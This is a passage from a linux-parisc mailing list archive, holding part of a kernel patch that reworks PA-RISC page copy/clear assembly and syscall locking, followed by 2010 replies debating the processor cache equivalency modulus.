-	stw		%r22, 12(%r26)
-	ldw		16(%r25), %r19
-	ldw		20(%r25), %r20
-	ldw		24(%r25), %r21
-	ldw		28(%r25), %r22
-	stw		%r19, 16(%r26)
-	stw		%r20, 20(%r26)
-	stw		%r21, 24(%r26)
-	stw		%r22, 28(%r26)
-	ldw		32(%r25), %r19
-	ldw		36(%r25), %r20
-	ldw		40(%r25), %r21
-	ldw		44(%r25), %r22
-	stw		%r19, 32(%r26)
-	stw		%r20, 36(%r26)
-	stw		%r21, 40(%r26)
-	stw		%r22, 44(%r26)
-	ldw		48(%r25), %r19
-	ldw		52(%r25), %r20
-	ldw		56(%r25), %r21
-	ldw		60(%r25), %r22
-	stw		%r19, 48(%r26)
-	stw		%r20, 52(%r26)
+	ldw		4(%r25), %r21
+	ldw		8(%r25), %r22
+	ldw		12(%r25), %r24
+	stw		%r20, 0(%r26)
+	stw		%r21, 4(%r26)
+	stw		%r22, 8(%r26)
+	stw		%r24, 12(%r26)
+	ldw		16(%r25), %r20
+	ldw		20(%r25), %r21
+	ldw		24(%r25), %r22
+	ldw		28(%r25), %r24
+	stw		%r20, 16(%r26)
+	stw		%r21, 20(%r26)
+	stw		%r22, 24(%r26)
+	stw		%r24, 28(%r26)
+	ldw		32(%r25), %r20
+	ldw		36(%r25), %r21
+	ldw		40(%r25), %r22
+	ldw		44(%r25), %r24
+	stw		%r20, 32(%r26)
+	stw		%r21, 36(%r26)
+	stw		%r22, 40(%r26)
+	stw		%r24, 44(%r26)
+	ldw		48(%r25), %r20
+	ldw		52(%r25), %r21
+	ldw		56(%r25), %r22
+	ldw		60(%r25), %r24
+	stw		%r20, 48(%r26)
+	stw		%r21, 52(%r26)
 	ldo		64(%r25), %r25
-	stw		%r21, 56(%r26)
-	stw		%r22, 60(%r26)
+	stw		%r22, 56(%r26)
+	stw		%r24, 60(%r26)
 	ldo		64(%r26), %r26
 	addib,COND(>),n	-1, %r1, 1b
-	ldw		0(%r25), %r19
+	ldw		0(%r25), %r20
 #endif
 	bv		%r0(%r2)
 	nop
 	.exit
 
 	.procend
-ENDPROC(copy_user_page_asm)
+ENDPROC(copy_page_asm)
+
+ENTRY(clear_page_asm)
+	.proc
+	.callinfo NO_CALLS
+	.entry
+
+#ifdef CONFIG_64BIT
+	ldi		(PAGE_SIZE / 128), %r1
+
+1:
+	std		%r0, 0(%r26)
+	std		%r0, 8(%r26)
+	std		%r0, 16(%r26)
+	std		%r0, 24(%r26)
+	std		%r0, 32(%r26)
+	std		%r0, 40(%r26)
+	std		%r0, 48(%r26)
+	std		%r0, 56(%r26)
+	std		%r0, 64(%r26)
+	std		%r0, 72(%r26)
+	std		%r0, 80(%r26)
+	std		%r0, 88(%r26)
+	std		%r0, 96(%r26)
+	std		%r0, 104(%r26)
+	std		%r0, 112(%r26)
+	std		%r0, 120(%r26)
+
+	/* Conditional branches nullify on forward taken branch, and on
+	 * non-taken backward branch. Note that .+4 is a backwards branch.
+	 */
+	addib,COND(>),n	-1, %r1, 1b
+	ldo		128(%r26), %r26
+
+#else
+
+	ldi		(PAGE_SIZE / 64), %r1
+
+1:
+	stw		%r0, 0(%r26)
+	stw		%r0, 4(%r26)
+	stw		%r0, 8(%r26)
+	stw		%r0, 12(%r26)
+	stw		%r0, 16(%r26)
+	stw		%r0, 20(%r26)
+	stw		%r0, 24(%r26)
+	stw		%r0, 28(%r26)
+	stw		%r0, 32(%r26)
+	stw		%r0, 36(%r26)
+	stw		%r0, 40(%r26)
+	stw		%r0, 44(%r26)
+	stw		%r0, 48(%r26)
+	stw		%r0, 52(%r26)
+	stw		%r0, 56(%r26)
+	stw		%r0, 60(%r26)
+	addib,COND(>),n	-1, %r1, 1b
+	ldo		64(%r26), %r26
+#endif
+
+	bv		%r0(%r2)
+	nop
+	.exit
+
+	.procend
+ENDPROC(clear_page_asm)
 
 /*
  * NOTE: Code in clear_user_page has a hard coded dependency on the
@@ -422,7 +486,6 @@ ENDPROC(copy_user_page_asm)
  *          %r23 physical page (shifted for tlb insert) of "from" translation
  */
 
-#if 0
 
 	/*
 	 * We can't do this since copy_user_page is used to bring in
@@ -449,9 +512,9 @@ ENTRY(copy_user_page_asm)
 	ldil		L%(TMPALIAS_MAP_START), %r28
 	/* FIXME for different page sizes != 4k */
 #ifdef CONFIG_64BIT
-	extrd,u		%r26,56,32, %r26		/* convert phys addr to tlb insert format */
-	extrd,u		%r23,56,32, %r23		/* convert phys addr to tlb insert format */
-	depd		%r24,63,22, %r28		/* Form aliased virtual address 'to' */
+	extrd,u		%r26,56,32, %r26	/* convert phys addr to tlb insert format */
+	extrd,u		%r23,56,32, %r23	/* convert phys addr to tlb insert format */
+	depd		%r24,63,22, %r28	/* Form aliased virtual address 'to' */
 	depdi		0, 63,12, %r28		/* Clear any offset bits */
 	copy		%r28, %r29
 	depdi		1, 41,1, %r29		/* Form aliased virtual address 'from' */
@@ -464,12 +527,88 @@ ENTRY(copy_user_page_asm)
 	depwi		1, 9,1, %r29		/* Form aliased virtual address 'from' */
 #endif
 
+#ifdef CONFIG_SMP
+	ldil		L%pa_tlb_lock, %r1
+	ldo		R%pa_tlb_lock(%r1), %r24
+	rsm		PSW_SM_I, %r22
+1:
+	LDCW		0(%r24),%r25
+	cmpib,COND(=)	0,%r25,1b
+	nop
+#endif
+
 	/* Purge any old translations */
 
 	pdtlb		0(%r28)
 	pdtlb		0(%r29)
 
-	ldi		64, %r1
+#ifdef CONFIG_SMP
+	ldi		1,%r25
+	stw		%r25,0(%r24)
+	mtsm		%r22
+#endif
+
+#ifdef CONFIG_64BIT
+
+	ldd		0(%r29), %r20
+	ldi		(PAGE_SIZE / 128), %r1
+
+	ldw		64(%r29), %r0		/* prefetch 1 cacheline ahead */
+	ldw		128(%r29), %r0		/* prefetch 2 */
+
+2:	ldd		8(%r29), %r21
+	ldw		192(%r29), %r0		/* prefetch 3 */
+	ldw		256(%r29), %r0		/* prefetch 4 */
+
+	ldd		16(%r29), %r22
+	ldd		24(%r29), %r24
+	std		%r20, 0(%r28)
+	std		%r21, 8(%r28)
+
+	ldd		32(%r29), %r20
+	ldd		40(%r29), %r21
+	std		%r22, 16(%r28)
+	std		%r24, 24(%r28)
+
+	ldd		48(%r29), %r22
+	ldd		56(%r29), %r24
+	std		%r20, 32(%r28)
+	std		%r21, 40(%r28)
+
+	ldd		64(%r29), %r20
+	ldd		72(%r29), %r21
+	std		%r22, 48(%r28)
+	std		%r24, 56(%r28)
+
+	ldd		80(%r29), %r22
+	ldd		88(%r29), %r24
+	std		%r20, 64(%r28)
+	std		%r21, 72(%r28)
+
+	ldd		96(%r29), %r20
+	ldd		104(%r29), %r21
+	std		%r22, 80(%r28)
+	std		%r24, 88(%r28)
+
+	ldd		112(%r29), %r22
+	ldd		120(%r29), %r24
+	std		%r20, 96(%r28)
+	std		%r21, 104(%r28)
+
+	ldo		128(%r29), %r29
+	std		%r22, 112(%r28)
+	std		%r24, 120(%r28)
+
+	fdc		0(%r28)
+	ldo		64(%r28), %r28
+	fdc		0(%r28)
+	ldo		64(%r28), %r28
+	addib,COND(>),n	-1, %r1, 2b
+	ldd		0(%r29), %r20		/* start next loads */
+
+#else
+
+	ldi		(PAGE_SIZE / 64), %r1
 
 	/*
 	 * This loop is optimized for PCXL/PCXL2 ldw/ldw and stw/stw
@@ -480,53 +619,57 @@ ENTRY(copy_user_page_asm)
 	 * use ldd/std on a 32 bit kernel.
 	 */
 
-
-1:
-	ldw		0(%r29), %r19
-	ldw		4(%r29), %r20
-	ldw		8(%r29), %r21
-	ldw		12(%r29), %r22
-	stw		%r19, 0(%r28)
-	stw		%r20, 4(%r28)
-	stw		%r21, 8(%r28)
-	stw		%r22, 12(%r28)
-	ldw		16(%r29), %r19
-	ldw		20(%r29), %r20
-	ldw		24(%r29), %r21
-	ldw		28(%r29), %r22
-	stw		%r19, 16(%r28)
-	stw		%r20, 20(%r28)
-	stw		%r21, 24(%r28)
-	stw		%r22, 28(%r28)
-	ldw		32(%r29), %r19
-	ldw		36(%r29), %r20
-	ldw		40(%r29), %r21
-	ldw		44(%r29), %r22
-	stw		%r19, 32(%r28)
-	stw		%r20, 36(%r28)
-	stw		%r21, 40(%r28)
-	stw		%r22, 44(%r28)
-	ldw		48(%r29), %r19
-	ldw		52(%r29), %r20
-	ldw		56(%r29), %r21
-	ldw		60(%r29), %r22
-	stw		%r19, 48(%r28)
-	stw		%r20, 52(%r28)
-	stw		%r21, 56(%r28)
-	stw		%r22, 60(%r28)
-	ldo		64(%r28), %r28
-	addib,COND(>)		-1, %r1,1b
+2:
+	ldw		0(%r29), %r20
+	ldw		4(%r29), %r21
+	ldw		8(%r29), %r22
+	ldw		12(%r29), %r24
+	stw		%r20, 0(%r28)
+	stw		%r21, 4(%r28)
+	stw		%r22, 8(%r28)
+	stw		%r24, 12(%r28)
+	ldw		16(%r29), %r20
+	ldw		20(%r29), %r21
+	ldw		24(%r29), %r22
+	ldw		28(%r29), %r24
+	stw		%r20, 16(%r28)
+	stw		%r21, 20(%r28)
+	stw		%r22, 24(%r28)
+	stw		%r24, 28(%r28)
+	ldw		32(%r29), %r20
+	ldw		36(%r29), %r21
+	ldw		40(%r29), %r22
+	ldw		44(%r29), %r24
+	stw		%r20, 32(%r28)
+	stw		%r21, 36(%r28)
+	stw		%r22, 40(%r28)
+	stw		%r24, 44(%r28)
+	ldw		48(%r29), %r20
+	ldw		52(%r29), %r21
+	ldw		56(%r29), %r22
+	ldw		60(%r29), %r24
+	stw		%r20, 48(%r28)
+	stw		%r21, 52(%r28)
+	stw		%r22, 56(%r28)
+	stw		%r24, 60(%r28)
+	fdc		0(%r28)
+	ldo		32(%r28), %r28
+	fdc		0(%r28)
+	ldo		32(%r28), %r28
+	addib,COND(>)		-1, %r1,2b
 	ldo		64(%r29), %r29
 
+#endif
+
+	sync
 	bv		%r0(%r2)
 	nop
 	.exit
 
 	.procend
 ENDPROC(copy_user_page_asm)
-#endif
 
-ENTRY(__clear_user_page_asm)
+ENTRY(clear_user_page_asm)
 	.proc
 	.callinfo NO_CALLS
 	.entry
@@ -548,17 +691,33 @@ ENTRY(__clear_user_page_asm)
 	depwi		0, 31,12, %r28		/* Clear any offset bits */
 #endif
 
+#ifdef CONFIG_SMP
+	ldil		L%pa_tlb_lock, %r1
+	ldo		R%pa_tlb_lock(%r1), %r24
+	rsm		PSW_SM_I, %r22
+1:
+	LDCW		0(%r24),%r25
+	cmpib,COND(=)	0,%r25,1b
+	nop
+#endif
+
 	/* Purge any old translation */
 
 	pdtlb		0(%r28)
 
+#ifdef CONFIG_SMP
+	ldi		1,%r25
+	stw		%r25,0(%r24)
+	mtsm		%r22
+#endif
+
 #ifdef CONFIG_64BIT
 	ldi		(PAGE_SIZE / 128), %r1
 
 	/* PREFETCH (Write) has not (yet) been proven to help here */
 	/* #define	PREFETCHW_OP	ldd		256(%0), %r0 */
 
-1:	std		%r0, 0(%r28)
+2:	std		%r0, 0(%r28)
 	std		%r0, 8(%r28)
 	std		%r0, 16(%r28)
 	std		%r0, 24(%r28)
@@ -574,13 +733,13 @@ ENTRY(__clear_user_page_asm)
 	std		%r0, 104(%r28)
 	std		%r0, 112(%r28)
 	std		%r0, 120(%r28)
-	addib,COND(>)		-1, %r1, 1b
+	addib,COND(>)		-1, %r1, 2b
 	ldo		128(%r28), %r28
 
 #else	/* ! CONFIG_64BIT */
 	ldi		(PAGE_SIZE / 64), %r1
 
-1:
+2:
 	stw		%r0, 0(%r28)
 	stw		%r0, 4(%r28)
 	stw		%r0, 8(%r28)
@@ -597,7 +756,7 @@ ENTRY(__clear_user_page_asm)
 	stw		%r0, 52(%r28)
 	stw		%r0, 56(%r28)
 	stw		%r0, 60(%r28)
-	addib,COND(>)		-1, %r1, 1b
+	addib,COND(>)		-1, %r1, 2b
 	ldo		64(%r28), %r28
 #endif	/* CONFIG_64BIT */
 
@@ -606,7 +765,7 @@ ENTRY(__clear_user_page_asm)
 	.exit
 
 	.procend
-ENDPROC(__clear_user_page_asm)
+ENDPROC(clear_user_page_asm)
 
 ENTRY(flush_kernel_dcache_page_asm)
 	.proc
diff --git a/arch/parisc/kernel/parisc_ksyms.c b/arch/parisc/kernel/parisc_ksyms.c
index df65366..a5314df 100644
--- a/arch/parisc/kernel/parisc_ksyms.c
+++ b/arch/parisc/kernel/parisc_ksyms.c
@@ -159,4 +159,5 @@ EXPORT_SYMBOL(_mcount);
 #endif
 
 /* from pacache.S -- needed for copy_page */
-EXPORT_SYMBOL(copy_user_page_asm);
+EXPORT_SYMBOL(copy_page_asm);
+EXPORT_SYMBOL(clear_page_asm);
diff --git a/arch/parisc/kernel/setup.c b/arch/parisc/kernel/setup.c
index cb71f3d..84b3239 100644
--- a/arch/parisc/kernel/setup.c
+++ b/arch/parisc/kernel/setup.c
@@ -128,6 +128,14 @@ void __init setup_arch(char **cmdline_p)
 	printk(KERN_INFO "The 32-bit Kernel has started...\n");
 #endif
 
+	/* Consistency check on the size and alignments of our spinlocks */
+#ifdef CONFIG_SMP
+	BUILD_BUG_ON(sizeof(arch_spinlock_t) != __PA_LDCW_ALIGNMENT);
+	BUG_ON((unsigned long)&__atomic_hash[0] & (__PA_LDCW_ALIGNMENT-1));
+	BUG_ON((unsigned long)&__atomic_hash[1] & (__PA_LDCW_ALIGNMENT-1));
+#endif
+	BUILD_BUG_ON((1<<L1_CACHE_SHIFT) != L1_CACHE_BYTES);
+
 	pdc_console_init();
 
 #ifdef CONFIG_64BIT
diff --git a/arch/parisc/kernel/syscall.S b/arch/parisc/kernel/syscall.S
index f5f9602..68e75ce 100644
--- a/arch/parisc/kernel/syscall.S
+++ b/arch/parisc/kernel/syscall.S
@@ -47,18 +47,17 @@ ENTRY(linux_gateway_page)
 	KILL_INSN
 	.endr
 
-	/* ADDRESS 0xb0 to 0xb4, lws uses 1 insns for entry */
+	/* ADDRESS 0xb0 to 0xb8, lws uses two insns for entry */
 	/* Light-weight-syscall entry must always be located at 0xb0 */
 	/* WARNING: Keep this number updated with table size changes */
 #define __NR_lws_entries (2)
 
 lws_entry:
-	/* Unconditional branch to lws_start, located on the 
-	   same gateway page */
-	b,n	lws_start
+	gate	lws_start, %r0		/* increase privilege */
+	depi	3, 31, 2, %r31		/* Ensure we return into user mode. */
 
-	/* Fill from 0xb4 to 0xe0 */
-	.rept 11
+	/* Fill from 0xb8 to 0xe0 */
+	.rept 10
 	KILL_INSN
 	.endr
 
@@ -423,9 +422,6 @@ tracesys_sigexit:
 
 	*********************************************************/
 lws_start:
-	/* Gate and ensure we return to userspace */
-	gate	.+8, %r0
-	depi	3, 31, 2, %r31	/* Ensure we return to userspace */
 
 #ifdef CONFIG_64BIT
 	/* FIXME: If we are a 64-bit kernel just
@@ -442,7 +438,7 @@ lws_start:
 #endif	
 
         /* Is the lws entry number valid? */
-	comiclr,>>=	__NR_lws_entries, %r20, %r0
+	comiclr,>>	__NR_lws_entries, %r20, %r0
 	b,n	lws_exit_nosys
 
 	/* WARNING: Trashing sr2 and sr3 */
@@ -473,7 +469,7 @@ lws_exit:
 	/* now reset the lowest bit of sp if it was set */
 	xor	%r30,%r1,%r30
 #endif
-	be,n	0(%sr3, %r31)
+	be,n	0(%sr7, %r31)
 
 
 	
@@ -529,7 +525,6 @@ lws_compare_and_swap32:
 #endif
 
 lws_compare_and_swap:
-#ifdef CONFIG_SMP
 	/* Load start of lock table */
 	ldil	L%lws_lock_start, %r20
 	ldo	R%lws_lock_start(%r20), %r28
@@ -572,8 +567,6 @@ cas_wouldblock:
 	ldo	2(%r0), %r28				/* 2nd case */
 	b	lws_exit				/* Contended... */
 	ldo	-EAGAIN(%r0), %r21			/* Spin in userspace */
-#endif
-/* CONFIG_SMP */
 
 	/*
 		prev = *addr;
@@ -601,13 +594,11 @@ cas_action:
 1:	ldw	0(%sr3,%r26), %r28
 	sub,<>	%r28, %r25, %r0
 2:	stw	%r24, 0(%sr3,%r26)
-#ifdef CONFIG_SMP
 	/* Free lock */
 	stw	%r20, 0(%sr2,%r20)
-# if ENABLE_LWS_DEBUG
+#if ENABLE_LWS_DEBUG
 	/* Clear thread register indicator */
 	stw	%r0, 4(%sr2,%r20)
-# endif
 #endif
 	/* Return to userspace, set no error */
 	b	lws_exit
@@ -615,12 +606,10 @@ cas_action:
 
 3:		
 	/* Error occured on load or store */
-#ifdef CONFIG_SMP
 	/* Free lock */
 	stw	%r20, 0(%sr2,%r20)
-# if ENABLE_LWS_DEBUG
+#if ENABLE_LWS_DEBUG
 	stw	%r0, 4(%sr2,%r20)
-# endif
 #endif
 	b	lws_exit
 	ldo	-EFAULT(%r0),%r21	/* set errno */
@@ -672,7 +661,6 @@ ENTRY(sys_call_table64)
 END(sys_call_table64)
 #endif
 
-#ifdef CONFIG_SMP
 	/*
 		All light-weight-syscall atomic operations 
 		will use this set of locks 
@@ -694,8 +682,6 @@ ENTRY(lws_lock_start)
 	.endr
 END(lws_lock_start)
 	.previous
-#endif
-/* CONFIG_SMP for lws_lock_start */
 
 .end
 
diff --git a/arch/parisc/kernel/traps.c b/arch/parisc/kernel/traps.c
index 8b58bf0..804b024 100644
--- a/arch/parisc/kernel/traps.c
+++ b/arch/parisc/kernel/traps.c
@@ -47,7 +47,7 @@
 			  /*  dumped to the console via printk)          */
 
 #if defined(CONFIG_SMP) || defined(CONFIG_DEBUG_SPINLOCK)
-DEFINE_SPINLOCK(pa_dbit_lock);
+DEFINE_SPINLOCK(pa_pte_lock);
 #endif
 
 static void parisc_show_stack(struct task_struct *task, unsigned long *sp,
diff --git a/arch/parisc/lib/bitops.c b/arch/parisc/lib/bitops.c
index 353963d..bae6a86 100644
--- a/arch/parisc/lib/bitops.c
+++ b/arch/parisc/lib/bitops.c
@@ -15,6 +15,9 @@
 arch_spinlock_t __atomic_hash[ATOMIC_HASH_SIZE] __lock_aligned = {
 	[0 ... (ATOMIC_HASH_SIZE-1)]  = __ARCH_SPIN_LOCK_UNLOCKED
 };
+arch_spinlock_t __atomic_user_hash[ATOMIC_HASH_SIZE] __lock_aligned = {
+	[0 ... (ATOMIC_HASH_SIZE-1)]  = __ARCH_SPIN_LOCK_UNLOCKED
+};
 #endif
 
 #ifdef CONFIG_64BIT
diff --git a/arch/parisc/math-emu/decode_exc.c b/arch/parisc/math-emu/decode_exc.c
index 3ca1c61..27a7492 100644
--- a/arch/parisc/math-emu/decode_exc.c
+++ b/arch/parisc/math-emu/decode_exc.c
@@ -342,6 +342,7 @@ decode_fpu(unsigned int Fpu_register[], unsigned int trap_counts[])
 		return SIGNALCODE(SIGFPE, FPE_FLTINV);
 	  case DIVISIONBYZEROEXCEPTION:
 		update_trap_counts(Fpu_register, aflags, bflags, trap_counts);
+		Clear_excp_register(exception_index);
 	  	return SIGNALCODE(SIGFPE, FPE_FLTDIV);
 	  case INEXACTEXCEPTION:
 		update_trap_counts(Fpu_register, aflags, bflags, trap_counts);
diff --git a/mm/memory.c b/mm/memory.c
index 09e4b1b..21c2916 100644
--- a/mm/memory.c
+++ b/mm/memory.c
@@ -616,7 +616,7 @@ copy_one_pte(struct mm_struct *dst_mm, struct mm_struct *src_mm,
 	 * in the parent and the child
 	 */
 	if (is_cow_mapping(vm_flags)) {
-		ptep_set_wrprotect(src_mm, addr, src_pte);
+		ptep_set_wrprotect(vma, src_mm, addr, src_pte);
 		pte = pte_wrprotect(pte);
 	}
 

--M9NhX3UHpAaciwkO--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: PA caches (was: C8000 cpu upgrade problem)
Date: Tue, 26 Oct 2010 23:50:41 -0500
Lines: 27
Approved: news@gmane.org
Message-ID: <1288155041.19649.354.camel@mulgrave.site>
References: <20101027012932.3CB6E4FB4@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1288155052 25963 80.91.229.12 (27 Oct 2010 04:50:52 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 27 Oct 2010 04:50:52 +0000 (UTC)
Cc: Mikulas Patocka <mikulas@artax.karlin.mff.cuni.cz>,
	kyle@mcmartin.ca, linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Oct 27 06:50:50 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PAxyH-00085L-1H
	for glpp-linux-parisc@lo.gmane.org; Wed, 27 Oct 2010 06:50:45 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751584Ab0J0Euo (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 27 Oct 2010 00:50:44 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:38516 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751138Ab0J0Eun (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 27 Oct 2010 00:50:43 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 62C9D8EE114;
	Tue, 26 Oct 2010 21:50:43 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id XDG8ACpmmnFQ; Tue, 26 Oct 2010 21:50:43 -0700 (PDT)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id D4F148EE0F8;
	Tue, 26 Oct 2010 21:50:42 -0700 (PDT)
In-Reply-To: <20101027012932.3CB6E4FB4@hiauly1.hia.nrc.ca>
X-Mailer: Evolution 2.30.1.2 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3174
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3174>

On Tue, 2010-10-26 at 21:29 -0400, John David Anglin wrote:
> > - shared memory --- there is SHMLBA boundary that causes that all
> mappings 
> > are aligned to this boundary --- it is **WRONG** in the current
> kernel!!! 
> > It is only 4MB and should be 16MB!!!
> 
> James has said that the max for all PA-RISC implementations is
> 4 MB.  The value is returned by the PDC_CACHE call.  Maybe a BUG_ON is
> called for.  The alias boundary can be determined by the alias field
> in the D_conf return value.

Why is it I get blamed for everything cache related on parisc?  The
statement in the manuals that the equivalency modulus is 16MB was left
for future expansion.  However, given PA8900 is the last in the series,
there is no future expansion.  John Marvin (I think it was) from the HP
processor group confirmed that the largest equivalency modulus for any
produced parisc processor is 4MB, so that's what we use in the kernel.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mikulas Patocka <mikulas@artax.karlin.mff.cuni.cz>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: PA caches (was: C8000 cpu upgrade problem)
Date: Wed, 27 Oct 2010 10:06:28 +0200 (CEST)
Lines: 41
Approved: news@gmane.org
Message-ID: <alpine.DEB.1.10.1010270957110.31946@artax.karlin.mff.cuni.cz>
References: <20101027012932.3CB6E4FB4@hiauly1.hia.nrc.ca> <1288155041.19649.354.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: dough.gmane.org 1288166795 2542 80.91.229.12 (27 Oct 2010 08:06:35 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 27 Oct 2010 08:06:35 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>, kyle@mcmartin.ca,
	linux-parisc@vger.kernel.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Oct 27 10:06:34 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PB11k-0007N3-Nv
	for glpp-linux-parisc@lo.gmane.org; Wed, 27 Oct 2010 10:06:33 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752302Ab0J0IGb (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 27 Oct 2010 04:06:31 -0400
Original-Received: from artax.karlin.mff.cuni.cz ([195.113.26.195]:58626 "EHLO
	artax.karlin.mff.cuni.cz" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751183Ab0J0IG3 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 27 Oct 2010 04:06:29 -0400
Original-Received: by artax.karlin.mff.cuni.cz (Postfix, from userid 17421)
	id 73C9D980F1; Wed, 27 Oct 2010 10:06:28 +0200 (CEST)
Original-Received: from localhost (localhost [127.0.0.1])
	by artax.karlin.mff.cuni.cz (Postfix) with ESMTP id 72715980EB;
	Wed, 27 Oct 2010 10:06:28 +0200 (CEST)
In-Reply-To: <1288155041.19649.354.camel@mulgrave.site>
User-Agent: Alpine 1.10 (DEB 962 2008-03-14)
X-Personality-Disorder: Schizoid
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3175
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3175>



On Tue, 26 Oct 2010, James Bottomley wrote:

> On Tue, 2010-10-26 at 21:29 -0400, John David Anglin wrote:
> > > - shared memory --- there is SHMLBA boundary that causes that all
> > mappings 
> > > are aligned to this boundary --- it is **WRONG** in the current
> > kernel!!! 
> > > It is only 4MB and should be 16MB!!!
> > 
> > James has said that the max for all PA-RISC implementations is
> > 4 MB.  The value is returned by the PDC_CACHE call.  Maybe a BUG_ON is
> > called for.  The alias boundary can be determined by the alias field
> > in the D_conf return value.
> 
> Why is it I get blamed for everything cache related on parisc?  The

You don't get blamed, we're just trying to find bugs :)

> statement in the manuals that the equivalency modulus is 16MB was left
> for future expansion.  However, given PA8900 is the last in the series,
> there is no future expansion.  John Marvin (I think it was) from the HP
> processor group confirmed that the largest equivalency modulus for any
> produced parisc processor is 4MB, so that's what we use in the kernel.
> 
> James

The largest L2 cache size is 64MB --- so if the cache is 4-way 
associative, the equivalency distance is 16MB (as the manual says).

If the equivalency distance were 4MB, the L2 cache would have to be 16-way 
(or the cache would have to be physically indexed and you wouldn't have to 
care about its consistency at all).

Mikulas
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mikulas Patocka <mikulas@artax.karlin.mff.cuni.cz>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: PA caches (was: C8000 cpu upgrade problem)
Date: Wed, 27 Oct 2010 10:35:21 +0200 (CEST)
Lines: 64
Approved: news@gmane.org
Message-ID: <alpine.DEB.1.10.1010271023540.31946@artax.karlin.mff.cuni.cz>
References: <20101027012932.3CB6E4FB4@hiauly1.hia.nrc.ca> <1288155041.19649.354.camel@mulgrave.site> <alpine.DEB.1.10.1010270957110.31946@artax.karlin.mff.cuni.cz>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: dough.gmane.org 1288168529 9741 80.91.229.12 (27 Oct 2010 08:35:29 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 27 Oct 2010 08:35:29 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>, kyle@mcmartin.ca,
	linux-parisc@vger.kernel.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Oct 27 10:35:26 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PB1Tg-0003GC-UD
	for glpp-linux-parisc@lo.gmane.org; Wed, 27 Oct 2010 10:35:25 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
